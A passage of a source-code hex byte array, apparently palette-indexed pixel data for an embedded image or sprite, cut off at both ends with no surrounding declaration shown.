    0x21, 0x20, 0x20, 0x21, 0x21, 0x28, 0x22, 0x22,
    0x21, 0x24, 0x27, 0x20, 0x27, 0x21, 0x24, 0x20,
    0x20, 0x20, 0x2a, 0x2c, 0x2c, 0x20, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x24, 0x2c, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2a, 0x21, 0x20, 0x21, 0x20, 0x21, 0x20,
    0x22, 0x23, 0x24, 0x20, 0x27, 0x21, 0x24, 0x20,
    0x21, 0x24, 0x22, 0x23, 0x22, 0x25, 0x21, 0x20,
    0x28, 0x20, 0x21, 0x20, 0x21, 0x21, 0x20, 0x20,
    0x21, 0x20, 0x20, 0x20, 0x21, 0x27, 0x22, 0x28,
    0x21, 0x24, 0x27, 0x21, 0x27, 0x20, 0x21, 0x21,
    0x25, 0x2a, 0x2b, 0x2c, 0x2b, 0x24, 0x28, 0x23,
    0x23, 0x23, 0x23, 0x22, 0x22, 0x22, 0x23, 0x23,
    0x23, 0x23, 0x22, 0x22, 0x22, 0x22, 0x28, 0x22,
    0x27, 0x2b, 0x2c, 0x2b, 0x2c, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2b, 0x25, 0x20, 0x20, 0x21, 0x20, 0x21,
    0x28, 0x22, 0x24, 0x25, 0x20, 0x27, 0x28, 0x20,
    0x27, 0x23, 0x23, 0x23, 0x24, 0x25, 0x21, 0x20,
    0x22, 0x28, 0x27, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x20, 0x21, 0x20, 0x22, 0x28,
    0x20, 0x24, 0x24, 0x20, 0x27, 0x20, 0x24, 0x27,
    0x25, 0x2b, 0x2c, 0x2c, 0x2b, 0x24, 0x28, 0x22,
    0x23, 0x23, 0x23, 0x22, 0x22, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x22, 0x22, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x25, 0x2c, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2c, 0x2b, 0x21, 0x20, 0x20, 0x20, 0x21,
    0x29, 0x27, 0x28, 0x27, 0x22, 0x22, 0x22, 0x24,
    0x27, 0x23, 0x22, 0x27, 0x29, 0x21, 0x20, 0x21,
    0x2a, 0x29, 0x28, 0x27, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x25, 0x28, 0x22,
    0x20, 0x27, 0x28, 0x28, 0x28, 0x21, 0x28, 0x27,
    0x2a, 0x2c, 0x2b, 0x2c, 0x2a, 0x28, 0x22, 0x23,
    0x23, 0x22, 0x28, 0x28, 0x28, 0x28, 0x3f, 0x3f,
    0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x40, 0x40, 0x27,
    0x28, 0x22, 0x25, 0x2b, 0x2a, 0x2a, 0x2b, 0x2b,
    0x2b, 0x2b, 0x2c, 0x25, 0x20, 0x21, 0x21, 0x20,
    0x25, 0x29, 0x28, 0x23, 0x23, 0x22, 0x22, 0x20,
    0x27, 0x28, 0x24, 0x2a, 0x21, 0x21, 0x21, 0x21,
    0x24, 0x20, 0x23, 0x28, 0x25, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x21, 0x21, 0x21, 0x25, 0x28,
    0x22, 0x22, 0x22, 0x23, 0x28, 0x21, 0x28, 0x21,
    0x2b, 0x2b, 0x2b, 0x2c, 0x24, 0x23, 0x23, 0x23,
    0x23, 0x40, 0x41, 0x42, 0x41, 0x41, 0x41, 0x41,
    0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x43,
    0x28, 0x28, 0x27, 0x2b, 0x2c, 0x2b, 0x2a, 0x2b,
    0x2b, 0x2b, 0x2c, 0x2a, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x25, 0x2a, 0x20, 0x28, 0x22, 0x28, 0x20,
    0x27, 0x25, 0x2a, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x27, 0x20, 0x22, 0x22, 0x24, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x29, 0x2a,
    0x28, 0x23, 0x23, 0x23, 0x28, 0x20, 0x24, 0x25,
    0x2b, 0x2a, 0x2b, 0x2a, 0x22, 0x23, 0x23, 0x23,
    0x23, 0x40, 0x41, 0x41, 0x44, 0x43, 0x45, 0x3f,
    0x28, 0x22, 0x28, 0x3f, 0x40, 0x42, 0x41, 0x43,
    0x22, 0x22, 0x28, 0x2a, 0x2c, 0x2b, 0x2b, 0x2b,
    0x2c, 0x2b, 0x2c, 0x2b, 0x21, 0x20, 0x21, 0x20,
    0x20, 0x21, 0x25, 0x29, 0x2a, 0x2a, 0x25, 0x25,
    0x28, 0x28, 0x27, 0x28, 0x28, 0x27, 0x20, 0x21,
    0x27, 0x20, 0x22, 0x22, 0x27, 0x21, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x20, 0x21, 0x21, 0x20, 0x25,
    0x2a, 0x21, 0x27, 0x22, 0x28, 0x20, 0x25, 0x2a,
    0x2b, 0x2b, 0x2c, 0x24, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x43, 0x43, 0x3f, 0x22, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x3f, 0x42, 0x44,
    0x22, 0x23, 0x22, 0x20, 0x2c, 0x2a, 0x2a, 0x2a,
    0x2b, 0x2b, 0x2b, 0x2c, 0x26, 0x20, 0x20, 0x21,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x27, 0x21,
    0x27, 0x22, 0x22, 0x23, 0x22, 0x22, 0x22, 0x24,
    0x27, 0x21, 0x28, 0x23, 0x27, 0x21, 0x20, 0x20,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x20,
    0x21, 0x2a, 0x2a, 0x2a, 0x21, 0x20, 0x25, 0x2a,
    0x2b, 0x2b, 0x2a, 0x23, 0x23, 0x23, 0x23, 0x22,
    0x40, 0x3f, 0x22, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x43, 0x41,
    0x28, 0x23, 0x23, 0x28, 0x2b, 0x2a, 0x2a, 0x2a,
    0x2a, 0x2c, 0x2b, 0x2c, 0x46, 0x20, 0x20, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x21, 0x27, 0x28, 0x21,
    0x27, 0x22, 0x22, 0x22, 0x23, 0x22, 0x28, 0x22,
    0x27, 0x20, 0x22, 0x22, 0x27, 0x20, 0x20, 0x21,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x21, 0x21, 0x20, 0x24, 0x25, 0x29, 0x2b,
    0x2a, 0x2c, 0x21, 0x23, 0x23, 0x23, 0x22, 0x40,
    0x28, 0x23, 0x23, 0x23, 0x22, 0x3f, 0x40, 0x43,
    0x43, 0x43, 0x43, 0x3f, 0x22, 0x23, 0x43, 0x41,
    0x3f, 0x23, 0x23, 0x23, 0x2a, 0x2b, 0x2b, 0x2b,
    0x2a, 0x2b, 0x2b, 0x2c, 0x2b, 0x21, 0x20, 0x21,
    0x21, 0x20, 0x21, 0x21, 0x20, 0x22, 0x28, 0x21,
    0x28, 0x22, 0x22, 0x28, 0x20, 0x2a, 0x2a, 0x20,
    0x21, 0x24, 0x22, 0x22, 0x21, 0x21, 0x20, 0x21,
    0x20, 0x21, 0x21, 0x20, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x28, 0x28, 0x21, 0x2a, 0x2b,
    0x2b, 0x2b, 0x28, 0x23, 0x23, 0x22, 0x3f, 0x22,
    0x23, 0x23, 0x3f, 0x43, 0x42, 0x42, 0x43, 0x43,
    0x43, 0x43, 0x41, 0x41, 0x43, 0x28, 0x43, 0x41,
    0x45, 0x23, 0x23, 0x23, 0x25, 0x2c, 0x2b, 0x2c,
    0x2a, 0x2b, 0x2b, 0x2b, 0x2c, 0x25, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x28, 0x23, 0x28, 0x21,
    0x24, 0x28, 0x28, 0x28, 0x29, 0x20, 0x20, 0x27,
    0x27, 0x22, 0x22, 0x28, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x28, 0x22, 0x24, 0x29, 0x2a, 0x2a,
    0x2c, 0x2a, 0x23, 0x23, 0x23, 0x28, 0x23, 0x23,
    0x3f, 0x43, 0x43, 0x47, 0x28, 0x22, 0x23, 0x23,
    0x23, 0x22, 0x28, 0x40, 0x41, 0x42, 0x42, 0x41,
    0x40, 0x23, 0x23, 0x23, 0x20, 0x2c, 0x2b, 0x2c,
    0x2a, 0x2b, 0x2c, 0x2b, 0x2c, 0x2a, 0x21, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x28, 0x22, 0x28, 0x20,
    0x25, 0x2a, 0x25, 0x27, 0x20, 0x27, 0x20, 0x27,
    0x23, 0x22, 0x28, 0x25, 0x25, 0x21, 0x21, 0x20,
    0x21, 0x21, 0x24, 0x24, 0x20, 0x21, 0x20, 0x21,
    0x21, 0x20, 0x22, 0x23, 0x24, 0x2a, 0x2b, 0x2a,
    0x2c, 0x24, 0x23, 0x23, 0x23, 0x23, 0x22, 0x40,
    0x43, 0x3f, 0x22, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x47, 0x41, 0x42, 0x41,
    0x43, 0x23, 0x23, 0x23, 0x24, 0x2c, 0x2b, 0x2c,
    0x2a, 0x2b, 0x2c, 0x2b, 0x2c, 0x2a, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x20, 0x22, 0x22, 0x22, 0x20,
    0x24, 0x24, 0x21, 0x28, 0x20, 0x27, 0x20, 0x27,
    0x22, 0x23, 0x28, 0x26, 0x21, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x26, 0x25, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x27, 0x22, 0x22, 0x20, 0x2a, 0x2b, 0x2b,
    0x2b, 0x28, 0x23, 0x23, 0x23, 0x22, 0x40, 0x3f,
    0x23, 0x23, 0x22, 0x23, 0x23, 0x23, 0x22, 0x22,
    0x22, 0x23, 0x23, 0x23, 0x22, 0x42, 0x42, 0x41,
    0x43, 0x23, 0x23, 0x23, 0x24, 0x2c, 0x2b, 0x2b,
    0x2a, 0x2b, 0x2b, 0x2b, 0x2c, 0x2a, 0x20, 0x21,
    0x21, 0x21, 0x20, 0x21, 0x22, 0x23, 0x28, 0x21,
    0x27, 0x27, 0x20, 0x28, 0x21, 0x27, 0x20, 0x27,
    0x22, 0x24, 0x29, 0x21, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x20, 0x22, 0x28, 0x25, 0x2b, 0x2b, 0x2b,
    0x2b, 0x22, 0x23, 0x23, 0x22, 0x47, 0x22, 0x23,
    0x23, 0x23, 0x3f, 0x47, 0x43, 0x43, 0x42, 0x42,
    0x44, 0x43, 0x3f, 0x23, 0x22, 0x44, 0x42, 0x42,
    0x44, 0x22, 0x23, 0x23, 0x27, 0x2c, 0x2c, 0x2b,
    0x2a, 0x2b, 0x2b, 0x2b, 0x2c, 0x2b, 0x20, 0x21,
    0x20, 0x21, 0x21, 0x20, 0x22, 0x23, 0x28, 0x21,
    0x27, 0x24, 0x20, 0x27, 0x20, 0x27, 0x25, 0x27,
    0x20, 0x2a, 0x25, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x21, 0x21, 0x21, 0x20, 0x21, 0x21, 0x21,
    0x21, 0x24, 0x23, 0x20, 0x2a, 0x2c, 0x2a, 0x2a,
    0x2a, 0x22, 0x23, 0x23, 0x28, 0x23, 0x23, 0x23,
    0x3f, 0x43, 0x42, 0x43, 0x43, 0x40, 0x40, 0x40,
    0x43, 0x41, 0x41, 0x43, 0x3f, 0x42, 0x42, 0x42,
    0x42, 0x22, 0x23, 0x23, 0x27, 0x2c, 0x2c, 0x2b,
    0x2a, 0x2c, 0x2b, 0x2b, 0x2c, 0x2b, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x21, 0x22, 0x22, 0x28, 0x21,
    0x27, 0x20, 0x27, 0x24, 0x25, 0x25, 0x21, 0x28,
    0x24, 0x24, 0x24, 0x27, 0x24, 0x20, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x21,
    0x21, 0x24, 0x22, 0x25, 0x2b, 0x2c, 0x2a, 0x2a,
    0x2a, 0x23, 0x23, 0x23, 0x23, 0x23, 0x3f, 0x40,
    0x40, 0x3f, 0x28, 0x22, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x28, 0x43, 0x41, 0x42, 0x42, 0x42, 0x42,
    0x42, 0x3f, 0x23, 0x23, 0x27, 0x2c, 0x2c, 0x2b,
    0x2b, 0x2c, 0x2b, 0x2b, 0x2c, 0x2b, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x24, 0x22, 0x28, 0x21,
    0x24, 0x21, 0x24, 0x27, 0x21, 0x24, 0x28, 0x22,
    0x23, 0x22, 0x22, 0x22, 0x23, 0x22, 0x24, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x21, 0x27, 0x2a, 0x2b, 0x2c, 0x2a, 0x2a,
    0x2a, 0x23, 0x23, 0x23, 0x22, 0x40, 0x40, 0x22,
    0x23, 0x23, 0x22, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x43, 0x41, 0x41, 0x41, 0x41,
    0x41, 0x45, 0x23, 0x23, 0x27, 0x2c, 0x2c, 0x2a,
    0x2b, 0x2b, 0x2c, 0x2b, 0x2c, 0x2b, 0x20, 0x20,
    0x21, 0x21, 0x20, 0x21, 0x25, 0x22, 0x22, 0x20,
    0x24, 0x27, 0x28, 0x28, 0x20, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x23, 0x22, 0x22, 0x28, 0x22, 0x20,
    0x25, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x27, 0x2a, 0x2c, 0x2b, 0x2c, 0x2b,
    0x25, 0x23, 0x23, 0x22, 0x40, 0x28, 0x23, 0x23,
    0x23, 0x23, 0x22, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x28, 0x40, 0x40, 0x40, 0x43,
    0x43, 0x40, 0x23, 0x23, 0x24, 0x2b, 0x2a, 0x2b,
    0x2b, 0x2b, 0x2b, 0x2b, 0x2c, 0x2a, 0x20, 0x21,
    0x20, 0x21, 0x20, 0x20, 0x25, 0x29, 0x28, 0x28,
    0x22, 0x23, 0x23, 0x28, 0x21, 0x22, 0x22, 0x27,
    0x23, 0x22, 0x28, 0x20, 0x2a, 0x2a, 0x24, 0x28,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x25, 0x3b, 0x32, 0x2e, 0x2b,
    0x2a, 0x23, 0x23, 0x3f, 0x22, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x22, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x22, 0x22, 0x23, 0x23, 0x21, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2b, 0x2b, 0x2a, 0x2b, 0x2a, 0x20, 0x21,
    0x21, 0x20, 0x21, 0x21, 0x20, 0x29, 0x25, 0x22,
    0x23, 0x22, 0x22, 0x20, 0x21, 0x22, 0x24, 0x2a,
    0x27, 0x22, 0x27, 0x29, 0x24, 0x21, 0x27, 0x23,
    0x27, 0x21, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x21, 0x26, 0x48, 0x33, 0x33, 0x36, 0x32,
    0x2b, 0x25, 0x22, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x22, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x49, 0x37, 0x37, 0x2d, 0x2b, 0x2c, 0x2b,
    0x2b, 0x2b, 0x2c, 0x2a, 0x2a, 0x2a, 0x21, 0x20,
    0x21, 0x21, 0x20, 0x20, 0x21, 0x20, 0x26, 0x25,
    0x24, 0x28, 0x22, 0x27, 0x20, 0x24, 0x2a, 0x21,
    0x2a, 0x21, 0x27, 0x24, 0x22, 0x20, 0x27, 0x22,
    0x28, 0x21, 0x21, 0x21, 0x21, 0x20, 0x21, 0x21,
    0x20, 0x20, 0x25, 0x3c, 0x33, 0x33, 0x33, 0x36,
    0x2e, 0x2c, 0x25, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x22, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x37, 0x33, 0x36, 0x32, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2b, 0x2b, 0x2b, 0x39, 0x30, 0x21, 0x21,
    0x21, 0x21, 0x25, 0x21, 0x20, 0x21, 0x20, 0x25,
    0x2a, 0x2a, 0x25, 0x24, 0x21, 0x28, 0x28, 0x22,
    0x20, 0x24, 0x27, 0x20, 0x28, 0x21, 0x27, 0x22,
    0x28, 0x20, 0x20, 0x20, 0x20, 0x21, 0x26, 0x25,
    0x25, 0x25, 0x38, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x31, 0x2c, 0x25, 0x22, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x22, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x37, 0x33, 0x36, 0x2f, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2b, 0x2b, 0x2b, 0x2e, 0x36, 0x38, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x21, 0x24, 0x27, 0x21, 0x22, 0x22, 0x22,
    0x20, 0x28, 0x24, 0x21, 0x28, 0x21, 0x27, 0x23,
    0x22, 0x20, 0x20, 0x20, 0x25, 0x25, 0x34, 0x3c,
    0x3c, 0x3c, 0x3c, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x32, 0x39, 0x2c, 0x2a, 0x22, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x4a, 0x33, 0x33, 0x2e, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2b, 0x2b, 0x31, 0x33, 0x33, 0x30, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x28, 0x27, 0x20, 0x28, 0x22, 0x22,
    0x21, 0x27, 0x24, 0x20, 0x28, 0x21, 0x27, 0x22,
    0x22, 0x21, 0x20, 0x21, 0x25, 0x3c, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x36, 0x2e, 0x2c, 0x2c, 0x2a, 0x28, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x22,
    0x28, 0x34, 0x33, 0x33, 0x32, 0x31, 0x2b, 0x2b,
    0x2b, 0x2b, 0x39, 0x32, 0x33, 0x33, 0x30, 0x20,
    0x21, 0x24, 0x24, 0x20, 0x21, 0x20, 0x20, 0x20,
    0x21, 0x28, 0x23, 0x24, 0x21, 0x22, 0x23, 0x22,
    0x20, 0x27, 0x27, 0x21, 0x25, 0x21, 0x28, 0x23,
    0x27, 0x21, 0x20, 0x21, 0x25, 0x3c, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x39, 0x2b, 0x2c, 0x2b, 0x27,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x22,
    0x28, 0x34, 0x33, 0x33, 0x32, 0x3a, 0x2e, 0x31,
    0x31, 0x2e, 0x32, 0x33, 0x33, 0x33, 0x3c, 0x21,
    0x21, 0x24, 0x20, 0x20, 0x21, 0x21, 0x21, 0x20,
    0x27, 0x23, 0x22, 0x27, 0x21, 0x27, 0x24, 0x22,
    0x21, 0x27, 0x27, 0x21, 0x24, 0x28, 0x23, 0x22,
    0x21, 0x21, 0x21, 0x21, 0x25, 0x32, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x36, 0x2e, 0x2b, 0x2b, 0x2c, 0x2b,
    0x28, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x22,
    0x28, 0x34, 0x32, 0x33, 0x32, 0x32, 0x32, 0x32,
    0x32, 0x32, 0x32, 0x33, 0x33, 0x33, 0x33, 0x30,
    0x21, 0x25, 0x25, 0x21, 0x20, 0x20, 0x20, 0x21,
    0x27, 0x22, 0x22, 0x27, 0x25, 0x2a, 0x2a, 0x27,
    0x20, 0x28, 0x24, 0x21, 0x23, 0x23, 0x22, 0x27,
    0x21, 0x20, 0x20, 0x20, 0x25, 0x32, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x39, 0x2b, 0x2b, 0x2c,
    0x2a, 0x22, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x22,
    0x28, 0x34, 0x32, 0x33, 0x33, 0x32, 0x32, 0x32,
    0x32, 0x32, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x25, 0x20, 0x20, 0x25, 0x21, 0x21, 0x20, 0x20,
    0x28, 0x22, 0x22, 0x27, 0x20, 0x28, 0x21, 0x20,
    0x22, 0x23, 0x27, 0x21, 0x28, 0x23, 0x22, 0x26,
    0x25, 0x20, 0x20, 0x21, 0x25, 0x32, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x36, 0x2f, 0x2b, 0x2b, 0x2c,
    0x2b, 0x28, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x28, 0x30, 0x32, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x3c, 0x25, 0x21, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x28, 0x23, 0x22, 0x27, 0x20, 0x24, 0x21, 0x28,
    0x22, 0x22, 0x24, 0x21, 0x28, 0x24, 0x2a, 0x21,
    0x20, 0x21, 0x20, 0x20, 0x25, 0x3c, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x31, 0x2c, 0x2c,
    0x2a, 0x22, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x25, 0x2e, 0x32, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x30, 0x25, 0x20, 0x21, 0x20, 0x21,
    0x24, 0x22, 0x22, 0x27, 0x21, 0x24, 0x20, 0x28,
    0x28, 0x22, 0x27, 0x20, 0x27, 0x2a, 0x25, 0x20,
    0x21, 0x20, 0x21, 0x20, 0x25, 0x3c, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x32, 0x4b, 0x24,
    0x22, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x25,
    0x2c, 0x2e, 0x32, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x30, 0x21, 0x20, 0x21, 0x21,
    0x27, 0x22, 0x22, 0x24, 0x20, 0x27, 0x21, 0x28,
    0x2a, 0x20, 0x27, 0x20, 0x22, 0x28, 0x28, 0x28,
    0x27, 0x24, 0x20, 0x21, 0x25, 0x3c, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x3c, 0x22,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x22, 0x25, 0x2c,
    0x2b, 0x2e, 0x32, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x2d, 0x20, 0x21, 0x20, 0x20,
    0x21, 0x28, 0x23, 0x27, 0x21, 0x24, 0x21, 0x28,
    0x25, 0x27, 0x24, 0x25, 0x22, 0x23, 0x22, 0x22,
    0x22, 0x23, 0x28, 0x20, 0x25, 0x3c, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x32, 0x34,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x28, 0x2a, 0x2c, 0x2c,
    0x2b, 0x2e, 0x32, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x2e, 0x20, 0x20, 0x21, 0x21, 0x21,
    0x25, 0x24, 0x22, 0x24, 0x24, 0x27, 0x28, 0x22,
    0x24, 0x22, 0x24, 0x21, 0x28, 0x22, 0x22, 0x23,
    0x23, 0x28, 0x28, 0x27, 0x38, 0x32, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x2e,
    0x24, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x22, 0x21, 0x2b, 0x2c, 0x2b, 0x2b,
    0x4c, 0x2e, 0x32, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x32, 0x2e, 0x20, 0x20, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x29, 0x24, 0x28, 0x22, 0x23, 0x23, 0x22,
    0x28, 0x23, 0x27, 0x20, 0x23, 0x23, 0x22, 0x27,
    0x25, 0x2a, 0x29, 0x24, 0x3c, 0x32, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x3a,
    0x39, 0x25, 0x24, 0x28, 0x22, 0x22, 0x28, 0x28,
    0x24, 0x25, 0x2b, 0x2c, 0x2c, 0x2b, 0x2b, 0x2b,
    0x4c, 0x2e, 0x32, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x32, 0x2e,
    0x4d, 0x24, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x2a, 0x24, 0x23, 0x22, 0x22, 0x28,
    0x23, 0x22, 0x27, 0x21, 0x24, 0x27, 0x22, 0x25,
    0x21, 0x20, 0x21, 0x24, 0x32, 0x32, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x32,
    0x31, 0x2c, 0x2c, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b,
    0x2c, 0x2c, 0x2c, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b,
    0x39, 0x2e, 0x32, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x2e, 0x48, 0x24,
    0x20, 0x21, 0x21, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x25, 0x2a, 0x25, 0x27, 0x28, 0x22,
    0x22, 0x22, 0x24, 0x25, 0x29, 0x29, 0x24, 0x20,
    0x27, 0x27, 0x20, 0x27, 0x2d, 0x2e, 0x32, 0x32,
    0x32, 0x32, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x32, 0x2e,
    0x31, 0x2b, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c,
